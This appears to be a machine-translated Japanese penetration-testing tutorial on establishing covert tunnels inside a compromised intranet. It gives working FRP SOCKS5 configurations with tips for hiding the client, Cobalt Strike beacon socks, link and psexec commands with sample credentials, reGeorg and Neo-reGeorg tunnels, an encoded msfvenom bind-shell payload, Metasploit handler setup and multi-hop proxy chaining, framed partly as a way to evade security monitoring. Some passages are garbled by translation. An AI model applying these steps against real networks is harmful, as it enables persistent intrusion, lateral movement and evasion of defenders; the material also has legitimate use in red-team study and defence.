序文
イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。
以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。
ターゲットアウトバウンド(ソックスプロキシ)
これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。
FRP(Socks5)FRPサーバー構成ファイル:
1 | [一般]
2 | bind_port=8080frpクライアント構成ファイル:
1 | [一般]
2 | server_addr=xx.xx.xx.xx
3 | server_port=8080
4 | #Serviceポートは一般的なWebポートを使用します
5 |
6 | [Socks5]
7 | type=tcp
8 | remote_port=8088
9 |プラグイン=socks5
10 | use_encryption=true
11 | use_compression=true
12 | #Socks5パスワード
13 | #plugin_user=superman
14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。
use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]
use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]
use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。
暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。
暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。
コバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。
1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています
プロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。
は、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!
SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。
SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。
操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。
は、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。
1 |ビーコンリンク192.168.144.155
2 | Beaccon Unlink 192.168.144.155 Linkリスナーオンラインホストでリスナーを作成します。
このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。
作成したばかりのリスナーを選択します。
現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)
ビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。
1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理
1 |ビーコンシェルNetstat -Ano | FindStr 4444
SSH login1 |ビーコンSSH 192.168.144.174:22ルート管理
2 |ビーコンSSH 192.168.144.203:22ルート管理 Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。
ターゲットはネットワークから出ない(HTTPプロキシ)
ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。
Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080
Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。
neo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx
Neo-Regeorgを使用した後、パケットは暗号化されました。
Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。
アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。
Reduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。
ここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。
1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
2 |
3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します
4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します
5 | -i、-iterationsカウントペイロードのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。
metasploitは、転送を聞いた後のアドレスとポートです。
1 | sudo msfconsole -q
2 | MSF5 Exploit/Multi/Handlerを使用します
3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します
4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1
5 | MSF5 Exploit(Multi/Handler)Set LPort 5353
6 | MSF5 Exploit(Multi/Handler)Run -J Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。
1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx
2 |
3 | Telnet 127.0.0.1 1010
4 | [CreateTunnel] 5353:127.0.0.1:53 は、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。
1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します
2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します
3 | MSF5 Auxiliary(server/socks4a)run -J に注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!
分離ネットワーク(マルチレベルエージェント)
イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。
FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。
プロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)
プロキシルールを設定し、対応するプロキシを選択します。
2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。
ProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)